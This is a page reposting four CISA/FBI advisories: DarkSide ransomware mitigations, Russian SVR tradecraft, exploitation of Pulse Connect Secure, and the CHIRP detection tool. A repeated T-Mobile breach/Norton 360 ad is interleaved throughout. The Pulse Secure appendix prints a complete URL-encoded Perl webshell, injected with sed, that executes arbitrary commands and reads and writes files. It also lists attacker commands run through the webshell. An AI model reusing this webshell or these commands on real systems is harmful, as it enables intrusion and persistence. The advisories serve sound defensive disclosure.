DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks

T-Mobile is Warning that a data breach has exposed the names, date of birth, Social Security number and driver’s license/ID information of more than 40 million current, former or prospective customers who applied for credit with the company. Get Secured Now with Norton 360


Summary

This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 9. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) are aware of a ransomware attack affecting a critical infrastructure (CI) entity—a pipeline company—in the United States. Malicious cyber actors deployed DarkSide ransomware against the pipeline company’s information technology (IT) network.[1] At this time, there is no indication that the entity’s operational technology (OT) networks have been directly affected by the ransomware.

CISA and FBI urge CI asset owners and operators to adopt a heightened state of awareness and implement the recommendations listed in the Mitigations section of this Joint Cybersecurity Advisory, including implementing robust network segmentation between IT and OT networks; regularly testing manual controls; and ensuring that backups are implemented, regularly tested, and isolated from network connections. These mitigations will help CI owners and operators improve their entity’s functional resilience by reducing their vulnerability to ransomware and the risk of severe business degradation if impacted by ransomware.

Click here for a PDF version of this report.

Technical Details

Note: the analysis in this Joint Cybersecurity Advisory is ongoing, and the information provided should not be considered comprehensive. CISA and FBI will update this advisory as new information is available.

After gaining initial access to the pipeline company’s network, DarkSide actors deployed DarkSide ransomware against the company’s IT network. In response to the cyberattack, the company has reported that they proactively disconnected certain OT systems to ensure the systems’ safety.[2] At this time, there are no indications that the threat actor moved laterally to OT systems.

DarkSide is ransomware-as-a-service (RaaS)—the developers of the ransomware receive a share of the proceeds from the cybercriminal actors who deploy it, known as “affiliates.” According to open-source reporting, since August 2020, DarkSide actors have been targeting multiple large, high-revenue organizations, resulting in the encryption and theft of sensitive data. The DarkSide group has publicly stated that they prefer to target organizations that can afford to pay large ransoms instead of hospitals, schools, non-profits, and governments.[3],[4]

According to open-source reporting, DarkSide actors have previously been observed gaining initial access through phishing and exploiting remotely accessible accounts and systems and Virtual Desktop Infrastructure (VDI) (Phishing [T1566], Exploit Public-Facing Application [T1190], External Remote Services [T1133]).[5],[6] DarkSide actors have also been observed using Remote Desktop Protocol (RDP) to maintain Persistence [TA0003].[7]

After gaining access, DarkSide actors deploy DarkSide ransomware to encrypt and steal sensitive data (Data Encrypted for Impact [T1486]). The actors then threaten to publicly release the data if the ransom is not paid.[8],[9] The DarkSide ransomware uses Salsa20 and RSA encryption.[10]

DarkSide actors primarily use The Onion Router (TOR) for Command and Control (C2) [TA0011] (Proxy: Multi-hop Proxy [1090.003]).[11],[12] The actors have also been observed using Cobalt Strike for C2.[13]

Mitigations

CISA and FBI urge CI owners and operators to apply the following mitigations to reduce the risk of compromise by ransomware attacks.

CISA and FBI urge CI owners and operators to apply the following mitigations now to reduce the risk of severe business or functional degradation should their CI entity fall victim to a ransomware attack in the future.

  • Implement and ensure robust network segmentation between IT and OT networks to limit the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.
  • Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit industrial control system (ICS) protocols from traversing the IT network.
  • Identify OT and IT network inter-dependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans such as manual controls so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised. 
  • Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.
  • Implement regular data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. The data backup procedures should also address the following best practices:
    • Ensure that backups are regularly tested.
    • Store your backups separately. Backups should be isolated from network connections that could enable the spread of ransomware. It is important that backups be maintained offline as many ransomware variants attempt to find and encrypt or delete accessible backups. Maintaining current backups offline is critical because if your network data is encrypted with ransomware, your organization can restore systems to its previous state. Best practice is to store your backups on a separate device that cannot be accessed from a network, such as on an external hard drive. (See the Software Engineering Institute’s page on ransomware).
    • Maintain regularly updated “gold images” of critical systems in the event they need to be rebuilt. This entails maintaining image “templates” that include a preconfigured operating system (OS) and associated software applications that can be quickly deployed to rebuild a system, such as a virtual machine or server.
    • Retain backup hardware to rebuild systems in the event rebuilding the primary system is not preferred. Hardware that is newer or older than the primary system can present installation or compatibility hurdles when rebuilding from images.
    • Store source code or executables. It is more efficient to rebuild from system images, but some images will not install on different hardware or platforms correctly; having separate access to needed software will help in these cases.
  • Ensure user and process accounts are limited through account use policies, user account control, and privileged account management. Organize access rights based on the principles of least privilege and separation of duties.

If your organization is impacted by a ransomware incident, CISA and FBI recommend the following actions:

  • Isolate the infected system. Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities. Ensure all shared and networked drives are disconnected, whether wired or wireless.  
  • Turn off other computers and devices. Power-off and segregate (i.e., remove from the network) the infected computer(s). Power-off and segregate any other computers or devices that shared a network with the infected computer(s) that have not been fully encrypted by ransomware. If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted. Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists. (See Before You Connect a New Computer to the Internet for tips on how to make a computer more secure before you reconnect it to a network.)
  • Secure your backups. Ensure that your backup data is offline and secure. If possible, scan your backup data with an antivirus program to check that it is free of malware.
  • Refer to Joint Cybersecurity Advisory: AA20-245A: Technical Approaches to Uncovering and Remediating Malicious Activity for more best practices on incident response.

Note: CISA and the FBI do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered. CISA and FBI urge you to report ransomware incidents to your local FBI field office.

CISA offers a range of no-cost cyber hygiene services to help CI organizations assess, identify and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.

Resources

Contact Information

Victims of ransomware should report it immediately to CISA at https://us-cert.cisa.gov/report, a local FBI Field Office, or U.S. Secret Service Field Office. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].

References

Revisions

May 11, 2021: Initial Version

May 12, 2021: Added additional resources

Source…

Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders

T-Mobile is Warning that a data breach has exposed the names, date of birth, Social Security number and driver’s license/ID information of more than 40 million current, former or prospective customers who applied for credit with the company. Get Secured Now with Norton 360


The Federal Bureau of Investigation (FBI), Department of Homeland Security (DHS), and Cybersecurity and Infrastructure Security Agency (CISA) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and Yttrium—will continue to seek intelligence from U.S. and foreign entities through cyber exploitation, using a range of initial exploitation techniques that vary in sophistication, coupled with stealthy intrusion tradecraft within compromised networks. The SVR primarily targets government networks, think tank and policy analysis organizations, and information technology companies. On April 15, 2021, the White House released a statement on the recent SolarWinds compromise, attributing the activity to the SVR. For additional detailed information on identified vulnerabilities and mitigations, see the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and FBI Cybersecurity Advisory titled “Russian SVR Targets U.S. and Allied Networks,” released on April 15, 2021.

The FBI and DHS are providing information on the SVR’s cyber tools, targets, techniques, and capabilities to aid organizations in conducting their own investigations and securing their networks.

Click here for a PDF version of this report.

Threat Overview

SVR cyber operations have posed a longstanding threat to the United States. Prior to 2018, several private cyber security companies published reports about APT 29 operations to obtain access to victim networks and steal information, highlighting the use of customized tools to maximize stealth inside victim networks and APT 29 actors’ ability to move within victim environments undetected.

Beginning in 2018, the FBI observed the SVR shift from using malware on victim networks to targeting cloud resources, particularly e-mail, to obtain information. The exploitation of Microsoft Office 365 environments following network access gained through use of modified SolarWinds software reflects this continuing trend. Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations.

SVR Cyber Operations Tactics, Techniques, and Procedures

Password Spraying

In one 2018 compromise of a large network, SVR cyber actors used password spraying to identify a weak password associated with an administrative account. The actors conducted the password spraying activity in a “low and slow” manner, attempting a small number of passwords at infrequent intervals, possibly to avoid detection. The password spraying used a large number of IP addresses all located in the same country as the victim, including those associated with residential, commercial, mobile, and The Onion Router (TOR) addresses.

The organization unintentionally exempted the compromised administrator’s account from multi-factor authentication requirements. With access to the administrative account, the actors modified permissions of specific e-mail accounts on the network, allowing any authenticated network user to read those accounts.

The actors also used the misconfiguration for compromised non-administrative accounts. That misconfiguration enabled logins using legacy single-factor authentication on devices which did not support multi-factor authentication. The FBI suspects this was achieved by spoofing user agent strings to appear to be older versions of mail clients, including Apple’s mail client and old versions of Microsoft Outlook. After logging in as a non-administrative user, the actors used the permission changes applied by the compromised administrative user to access specific mailboxes of interest within the victim organization.

While the password sprays were conducted from many different IP addresses, once the actors obtained access to an account, that compromised account was generally only accessed from a single IP address corresponding to a leased virtual private server (VPS). The FBI observed minimal overlap between the VPSs used for different compromised accounts, and each leased server used to conduct follow-on actions was in the same country as the victim organization.

During the period of their access, the actors consistently logged into the administrative account to modify account permissions, including removing their access to accounts presumed to no longer be of interest, or adding permissions to additional accounts. 

Recommendations

To defend from this technique, the FBI and DHS recommend network operators to follow best practices for configuring access to cloud computing environments, including:

  • Mandatory use of an approved multi-factor authentication solution for all users from both on premises and remote locations.
  • Prohibit remote access to administrative functions and resources from IP addresses and systems not owned by the organization.
  • Regular audits of mailbox settings, account permissions, and mail forwarding rules for evidence of unauthorized changes.
  • Where possible, enforce the use of strong passwords and prevent the use of easily guessed or commonly used passwords through technical means, especially for administrative accounts.
  • Regularly review the organization’s password management program.
  • Ensure the organization’s information technology (IT) support team has well-documented standard operating procedures for password resets of user account lockouts.
  • Maintain a regular cadence of security awareness training for all company employees.

Leveraging Zero-Day Vulnerability

In a separate incident, SVR actors used CVE-2019-19781, a zero-day exploit at the time, against a virtual private network (VPN) appliance to obtain network access. Following exploitation of the device in a way that exposed user credentials, the actors identified and authenticated to systems on the network using the exposed credentials.

The actors worked to establish a foothold on several different systems that were not configured to require multi-factor authentication and attempted to access web-based resources in specific areas of the network in line with information of interest to a foreign intelligence service.

Following initial discovery, the victim attempted to evict the actors. However, the victim had not identified the initial point of access, and the actors used the same VPN appliance vulnerability to regain access. Eventually, the initial access point was identified, removed from the network, and the actors were evicted. As in the previous case, the actors used dedicated VPSs located in the same country as the victim, probably to make it appear that the network traffic was not anomalous with normal activity.

Recommendations

To defend from this technique, the FBI and DHS recommend network defenders ensure endpoint monitoring solutions are configured to identify evidence of lateral movement within the network and:

  • Monitor the network for evidence of encoded PowerShell commands and execution of network scanning tools, such as NMAP.
  • Ensure host based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time.
  • Require use of multi-factor authentication to access internal systems.
  • Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization’s security baseline and incorporate into enterprise monitoring tools.

WELLMESS Malware

In 2020, the governments of the United Kingdom, Canada, and the United States attributed intrusions perpetrated using malware known as WELLMESS to APT 29. WELLMESS was written in the Go programming language, and the previously-identified activity appeared to focus on targeting COVID-19 vaccine development. The FBI’s investigation revealed that following initial compromise of a network—normally through an unpatched, publicly-known vulnerability—the actors deployed WELLMESS. Once on the network, the actors targeted each organization’s vaccine research repository and Active Directory servers. These intrusions, which mostly relied on targeting on-premises network resources, were a departure from historic tradecraft, and likely indicate new ways the actors are evolving in the virtual environment. More information about the specifics of the malware used in this intrusion have been previously released and are referenced in the ‘Resources’ section of this document.

Tradecraft Similarities of SolarWinds-enabled Intrusions

During the spring and summer of 2020, using modified SolarWinds network monitoring software as an initial intrusion vector, SVR cyber operators began to expand their access to numerous networks. The SVR’s modification and use of trusted SolarWinds products as an intrusion vector is also a notable departure from the SVR’s historic tradecraft.

The FBI’s initial findings indicate similar post-infection tradecraft with other SVR-sponsored intrusions, including how the actors purchased and managed infrastructure used in the intrusions. After obtaining access to victim networks, SVR cyber actors moved through the networks to obtain access to e-mail accounts. Targeted accounts at multiple victim organizations included accounts associated with IT staff. The FBI suspects the actors monitored IT staff to collect useful information about the victim networks, determine if victims had detected the intrusions, and evade eviction actions.

Recommendations

Although defending a network from a compromise of trusted software is difficult, some organizations successfully detected and prevented follow-on exploitation activity from the initial malicious SolarWinds software. This was achieved using a variety of monitoring techniques including:

  • Auditing log files to identify attempts to access privileged certificates and creation of fake identify providers.
  • Deploying software to identify suspicious behavior on systems, including the execution of encoded PowerShell.
  • Deploying endpoint protection systems with the ability to monitor for behavioral indicators of compromise.
  • Using available public resources to identify credential abuse within cloud environments.
  • Configuring authentication mechanisms to confirm certain user activities on systems, including registering new devices.

While few victim organizations were able to identify the initial access vector as SolarWinds software, some were able to correlate different alerts to identify unauthorized activity. The FBI and DHS believe those indicators, coupled with stronger network segmentation (particularly “zero trust” architectures or limited trust between identity providers) and log correlation, can enable network defenders to identify suspicious activity requiring additional investigation.

General Tradecraft Observations

SVR cyber operators are capable adversaries. In addition to the techniques described above, FBI investigations have revealed infrastructure used in the intrusions is frequently obtained using false identities and cryptocurrencies. VPS infrastructure is often procured from a network of VPS resellers. These false identities are usually supported by low reputation infrastructure including temporary e-mail accounts and temporary voice over internet protocol (VoIP) telephone numbers. While not exclusively used by SVR cyber actors, a number of SVR cyber personas use e-mail services hosted on cock[.]li or related domains.

The FBI also notes SVR cyber operators have used open source or commercially available tools continuously, including Mimikatz—an open source credential-dumping too—and Cobalt Strike—a commercially available exploitation tool.

Source…

Exploitation of Pulse Connect Secure Vulnerabilities

T-Mobile is Warning that a data breach has exposed the names, date of birth, Social Security number and driver’s license/ID information of more than 40 million current, former or prospective customers who applied for credit with the company. Get Secured Now with Norton 360


Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises affecting U.S. government agencies, critical infrastructure entities, and other private sector organizations by a cyber threat actor—or actors—beginning in June 2020 or earlier related to vulnerabilities in certain Ivanti Pulse Connect Secure products. Since March 31, 2021, CISA assisted multiple entities whose vulnerable Pulse Connect Secure products have been exploited by a cyber threat actor. These entities confirmed the malicious activity after running the Pulse Secure Connect Integrity Tool. To gain initial access, the threat actor is leveraging multiple vulnerabilities, including CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and the newly disclosed CVE-2021-22893. The threat actor is using this access to place webshells on the Pulse Connect Secure appliance for further access and persistence. The known webshells allow for a variety of functions, including authentication bypass, multi-factor authentication bypass, password logging, and persistence through patching.

Ivanti has provided a mitigation and is developing a patch. CISA strongly encourages organizations using Ivanti Pulse Connect Secure appliances to immediately run the Pulse Secure Connect Integrity Tool, update to the latest software version, and investigate for malicious activity.

Technical Details

On March 31, 2021, Ivanti released the Pulse Secure Connect Integrity Tool to detect the integrity of Pulse Connect Secure appliances. Their technical bulletin states:

We are aware of reports that a limited number of customers have identified unusual activity on their Pulse Connect Secure (PCS) appliances. The investigation to date shows ongoing attempts to exploit vulnerabilities outlined in two security advisories that were patched in 2019 and 2020 to address previously known issues: Security Advisory SA44101 (CVE-2019-11510) and Security Advisory SA44601 (CVE- 2020- 8260). For more information visit KB44764 (Customer FAQ).

The suspected cyber threat actor modified several legitimate Pulse Secure files on the impacted Pulse Connect Secure appliances. The modifications implemented a variety of webshell functionality:

  • DSUpgrade.pm MD5: 4d5b410e1756072a701dfd3722951907
    • Runs arbitrary commands passed to it
    • Copies malicious code into Licenseserverproto.cgi
  • Licenseserverproto.cgi MD5: 9b526db005ee8075912ca6572d69a5d6
    • Copies malicious logic to the new files during the patching process, allowing for persistence
  • Secid_canceltoken.cgi MD5: f2beca612db26d771fe6ed7a87f48a5a
    • Runs arbitrary commands passed via HTTP requests
  • compcheckresult.cgi MD5: ca0175d86049fa7c796ea06b413857a3
    • Publicly-facing page to send arbitrary commands with ID argument
  • Login.cgi MD5: 56e2a1566c7989612320f4ef1669e7d5
    • Allows for credential harvesting of authenticated users
  • Healthcheck.cgi MD5: 8c291ad2d50f3845788bc11b2f603b4a
    • Runs arbitrary commands passed via HTTP requests

Other files were found with additional functionality:

  • libdsplibs.so MD5: 416488b6c8a9bdb9c0cb592e36f44677
    • Trojanized shared object to bypass multi-factor authentication via a hard-coded backdoor key.

Many of the threat actor’s early actions are logged in the Unauthenticated Requests Log as seen in the following format, URIs have been redacted to minimize access to webshells that may still be active:

Unauthenticated request url /dana-na/[redacted URI]?id=cat%20/home/webserver/htdocs/dana-na/[redacted URI] came from IP XX.XX.XX.XX.

The threat actor then ran the commands listed in table 1 via the webshell.

Table 1: Commands run via webshell

Time Command
2021-01-19T07:46:05.000+0000 pwd
2021-01-19T07:46:24.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:10:13.000+0000 cat%20/home/webserver/htdocs/dana-na/l[redacted]
2021-01-19T08:14:18.000+0000 See Appendix.
2021-01-19T08:15:11.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T08:15:49.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:03:05.000+0000 cat%20/home/webserver/htdocs/dana-na/[redacted]
2021-01-19T09:04:47.000+0000 $mount
2021-01-19T09:05:13.000+0000 /bin/mount%20-o%20remount,rw%20/dev/root%20/
2021-01-19T09:07:10.000+0000 $mount

 

The cyber threat actor is using exploited devices located on residential IP space—including publicly facing Network Attached Storage (NAS) devices and small home business routers from multiple vendors—to proxy their connection to interact with the webshells they placed on these devices. These devices, which the threat actor is using to proxy the connection, correlate with the country of the victim and allow the actor activity to blend in with normal telework user activity.

Details about lateral movement and post-exploitation are still unknown at this time. CISA will update this alert as this information becomes available.

Mitigations

CISA strongly urges organizations using Pulse Secure devices to immediately:

If the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:

  • Contact CISA to report your findings (see Contact Information section below).
  • Contact Ivanti Pulse Secure for assistance in capturing forensic information.
  • Review “Unauthenticated Web Requests” log for evidence of exploitation, if enabled.
  • Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). Note: Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.
  • Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance’s VPN lease pool.
  • Look for unauthorized applications and scheduled tasks in their environment.
  • Ensure no new administrators were created or non-privileged users were added to privileged groups.
  • Remove any remote access programs not approved by the organization.
  • Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.

In addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in KB44764 – Customer FAQ: PCS Security Integrity Tool Enhancements, which includes:

After preservation, you can remediate your Pulse Connect Secure appliance by: 

  1. Disabling the external-facing interface.  
  2. Saving the system and user config.
  3. Performing a factory reset via the Serial Console. Note: For more information refer to KB22964 (How to reset a PCS device to the factory default setting via the serial console)
  4. Updating the appliance to the newest version.
  5. Re-importing the saved config.   
  6. Re-enabling the external interface. 

CISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the Pulse Secure Connect Integrity Tool again after remediation has been taken place.

Contact Information

CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at http://www.us-cert.cisa.gov/.

Appendix: Large sed Command Found In Unauthenticated Logs

Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20$n=$_[0];my%20$rs;for%20(my%20$i=0;$i%3C$n;$i++){my%20$n1=int(rand(256));$rs.=chr($n1);}return%20$rs;}sub%20a{my%20$st=$_[0];my%20$k=r([redacted]);my%20$en%20=%20RC4(%20$k.$ph,%20$st);return%20encode_base64($k.$en);}sub%20b{my%20$s=%20decode_base64($_[0]);%20my%20$l=length($s);my%20$k=%20substr($s,0,[redacted]);my%20$en=substr($s,[redacted],$l-[redacted]);my%20$de%20=%20RC4(%20$k.$ph,%20$en%20);return%20$de;}sub%20c{my%20$fi=CGI::param(%27img%27);my%20$FN=b($fi);my%20$fd;print%20%22Content-type:%20application/x-download\n%22;open(*FILE,%20%22%3C$FN%22%20);while(%3CFILE%3E){$fd=$fd.$_;}close(*FILE);print%20%22Content-Disposition:%20attachment;%20filename=tmp\n\n%22;print%20a($fd);}sub%20d{print%20%22Cache-Control:%20no-cache\n%22;print%20%22Content-type:%20text/html\n\n%22;my%20$fi%20=%20CGI::param(%27cert%27);$fi=b($fi);my%20$pa=CGI::param(%27md5%27);$pa=b($pa);open%20(*outfile,%20%22%3E$pa%22);print%20outfile%20$fi;close%20(*outfile);}sub%20e{print%20%22Cache-Control:%20no-cache\n%22;print%20%22Content-type:%20image/gif\n\n%22;my%20$na=CGI::param(%27name%27);$na=b($na);my%20$rt;if%20(!$na%20or%20$na%20eq%20%22cd%22)%20{$rt=%22Error%20404%22;}else%20{my%20$ot=%22/tmp/1%22;system(%22$na%20%3E/tmp/1%202%3E&1%22);open(*cmd_result,%22%3C$ot%22);while(%3Ccmd_result%3E){$rt=$rt.$_;}close(*cmd_result);unlink%20$ot}%20%20print%20a($rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20%22%22){e();}else{%20%20%20&main();}}if%20($ENV{%27REQUEST_METHOD%27}%20eq%20%22POST%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX

References

Revisions

Initial version: April 20, 2021

Source…

Detecting Post-Compromise Threat Activity Using the CHIRP IOC Detection Tool

T-Mobile is Warning that a data breach has exposed the names, date of birth, Social Security number and driver’s license/ID information of more than 40 million current, former or prospective customers who applied for credit with the company. Get Secured Now with Norton 360


Summary

This Alert announces the CISA Hunt and Incident Response Program (CHIRP) tool. CHIRP is a forensics collection tool that CISA developed to help network defenders find indicators of compromise (IOCs) associated with activity detailed in the following CISA Alerts:

Similar to Sparrow—which scans for signs of APT compromise within an M365 or Azure environment—CHIRP scans for signs of APT compromise within an on-premises environment.

In this release, CHIRP, by default, searches for IOCs associated with malicious activity detailed in AA20-352A and AA21-008A that has spilled into an on-premises enterprise environment.

CHIRP is freely available on the CISA GitHub Repository. For additional guidance watch CISA’s CHIRP Overview videoNote: CISA will continue to release plugins and IOC packages for new threats via the CISA GitHub Repository.

CISA advises organizations to use CHIRP to:

  • Examine Windows event logs for artifacts associated with this activity;
  • Examine Windows Registry for evidence of intrusion;
  • Query Windows network artifacts; and
  • Apply YARA rules to detect malware, backdoors, or implants.

Network defenders should review and confirm any post-compromise threat activity detected by the tool. CISA has provided confidence scores for each IOC and YARA rule included with CHIRP’s release. For confirmed positive hits, CISA recommends collecting a forensic image of the relevant system(s) and conducting a forensic analysis on the system(s).

If an organization does not have the capability to follow the guidance in this Alert, consider soliciting third-party IT security support. Note: Responding to confirmed positive hits is essential to evict an adversary from a compromised network.

Click here for a PDF version of this report.

Technical Details

How CHIRP Works

CHIRP is a command-line executable with a dynamic plugin and indicator system to search for signs of compromise. CHIRP has plugins to search through event logs and registry keys and run YARA rules to scan for signs of APT tactics, techniques, and procedures. CHIRP also has a YAML file that contains a list of IOCs that CISA associates with the malware and APT activity detailed in CISA Alerts AA20-352A and AA21-008A.

Currently, the tool looks for:

  • The presence of malware identified by security researchers as TEARDROP and RAINDROP;
  • Credential dumping certificate pulls;
  • Certain persistence mechanisms identified as associated with this campaign;
  • System, network, and M365 enumeration; and
  • Known observable indicators of lateral movement.

Network defenders can follow step-by-step instructions on the CISA CHIRP GitHub repository to add additional IOCs, YARA rules, or plugins to CHIRP to search for post-compromise threat activity related to the SolarWinds Orion supply chain compromise or new threat activity.

Compatibility

CHIRP currently only scans Windows operating systems.

Instructions

CHIRP is available on CISA’s GitHub repository in two forms:

  1. A compiled executable

  2. A python script

CISA recommends using the compiled version to easily scan a system for APT activity. For instructions to run, read the README.md in the CHIRP GitHub repository.

If you choose to use the native Python version, see the detailed instructions on the CHIRP GitHub repository.

Mitigations

Interpreting the Results

CHIRP provides results of its scan in JSON format. CISA encourages uploading the results into a security information and event management (SIEM) system, if available. If no SIEM system is available, results can be viewed in a compatible web browser or text editor. If CHIRP detects any post-compromise threat activity, those detections should be reviewed and confirmed. CISA has provided confidence scores for each IOC and YARA rule included with CHIRP’s release. For confirmed positive hits, CISA recommends collecting a forensic image of the relevant system(s) and conducting a forensic analysis on the system(s).

If you do not have the capability to follow the guidance in this Alert, consider soliciting third-party IT security support. Note: Responding to confirmed positive hits is essential to evict an adversary from a compromised network.

Frequently Asked Questions

  1. What systems should CHIRP run on?

    Systems running SolarWinds Orion or believed to be involved in any resulting lateral movement.

  2. What should I do with results?

    Ingest the JSON results into a SIEM system, web browser, or text editor.

  3. Are there existing tools that CHIRP complements and/or provide the same benefit as CHIRP?
    1. Antivirus software developers may have begun to roll out detections for the SolarWinds post-compromise activity. However, those products can miss historical signs of compromise. CHIRP can provide a complementary benefit to antivirus when run.

    2. CISA previously released the Sparrow tool that scans for APT activity within M365 and Azure environments related to activity detailed in CISA Alerts AA20-352A and AA21-008A. CHIRP provides a complementary capability to Sparrow by scanning for on-premises systems for similar activity.

  4. How often should I run CHIRP?

    CHIRP can be run once or routinely. Currently, CHIRP does not provide a mechanism to run repeatedly in its native format.

  5. Do I need to configure the tool before I run it?

    No.

  6. Will CHIRP change or affect anything on the system(s) it runs on?

    No, CHIRP only scans the system(s) it runs on and makes no active changes.

  7. How long will it take to run CHIRP?

    CHIRP will complete its scan in approximately 1 to 2 hours. Duration will be dependent on the level of activity, the system, and the size of the resident data sets. CHIRP will provide periodic progress updates as it runs.

  8. If I have questions, who do I contact?  

    For general questions regarding CHIRP, please contact CISA via email at [email protected] or by phone at 1-888-282-0870. For reporting indicators of potential compromise, contact us by submitting a report through our website at https://us-cert.cisa.gov/report. For all technical issues or support for CHIRP, please submit issues at the CISA CHIRP GitHub Repository

Revisions

March 18, 2021: Initial Publication

Source…